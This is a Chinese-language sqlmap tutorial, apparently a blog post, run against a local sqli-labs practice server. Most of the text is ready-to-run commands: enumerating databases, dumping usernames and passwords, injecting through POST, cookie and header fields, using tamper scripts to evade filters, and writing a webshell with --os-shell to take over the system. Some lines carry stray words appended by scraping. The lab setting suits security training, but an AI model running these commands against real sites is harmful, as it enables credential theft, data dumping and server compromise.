須要安裝python2的環境php
使用方法:python
用最基礎的get型注入開始mysql
一、當咱們發現注入點的時候,web
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"sql
二、查看全部的數據庫shell
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs數據庫
三、查看當前使用的數據庫cookie
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-dbless
四、發現使用的是security數據庫,接下來對此數據庫進行查詢post
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"
五、查出全部表之後,對users表的列名進行查詢
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"
六、users表中的列名已經知道了,能夠直接查出全部數據
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"
在「用戶」-》「.sqlmap」-》「output」可看到查詢結果
一、get請求
python2 sqlmap.py -u "urls" --dbms=mysql --batch --level 3 --risk 3
--dbms=mysql 指定數據庫爲mysql
--batch 不用點擊,一路自動默認
--level 3 level指的是payload的強度,分爲5擋,一般使用3級以上會有更多的payload
--risk 3 risk指的是風險等級,通常有3擋,主要也是跟攻擊的強度有關
二、post請求
第一種:python2 sqlmap.py -u "urls" --data="user=admin&pass=pass"
以sqli-lab 11關爲例:
python2 sqlmap.py -u "http://192.168.100.200:8004/Less-11/index.php" --data="uname=admin&passwd=admin" --dbms=mysql --batch
第二種:將post數據包抓下來後存放到sqlmap的工做目錄下,命名爲"1.txt"
python2 sqlmap.py -r "1.txt"
以sqli-lab 11關爲例:
python2 sqlmap.py -r "1.txt" --dbms=mysql --batch
三、http頭的注入
http頭注入就要用到--level 3,頭注入的要領就是提早聲明頭部信息。
cookie:
python2 sqlmap.py -u "http://192.168.100.200:8004/Less-20/index.php" --cookie="uname=admin" --level 3 --dbms=mysql --batch
這裏的--cookie只是設置我這個sqlmap腳本去請求的cookie值,只有加了--level 3以後纔會對cookie地方進行注入
referer,user-agent其餘的http:
原理和用法都跟cookie相同,參數不一樣而已,--referer= ,--user-agent=
最省力的方式就是講要注入的數據包抓包存放到sqlmap工做文件夾內,在要注入的地方後面加上*號,而後再使用-r像post注入同樣的用法
四、tamper使用
tamper是sqlmap中內置的一些繞過防禦過濾的一些字符轉換腳本
python2 sqlmap.py -u "urls" --tamper=""
tamper的路徑在\sqlmap\tamper下。tamper是死的,人是活的,要根據實際狀況靈活應用。
五、寫入webshell
當發現注入點,而且注入點可寫的狀況下
以less-1爲例:
一、獲取注入點 :
python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --batch
二、查看當前用戶:
python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --current-user
三、確認當前用戶是否DBA(數據庫管理員)權限:
python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --is-dba
四、確認是DBA後,開始執行木馬寫入:
python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --os-shell
接下來會選擇腳本語言以及寫入的路徑,選擇好後就能夠直接得到系統權限。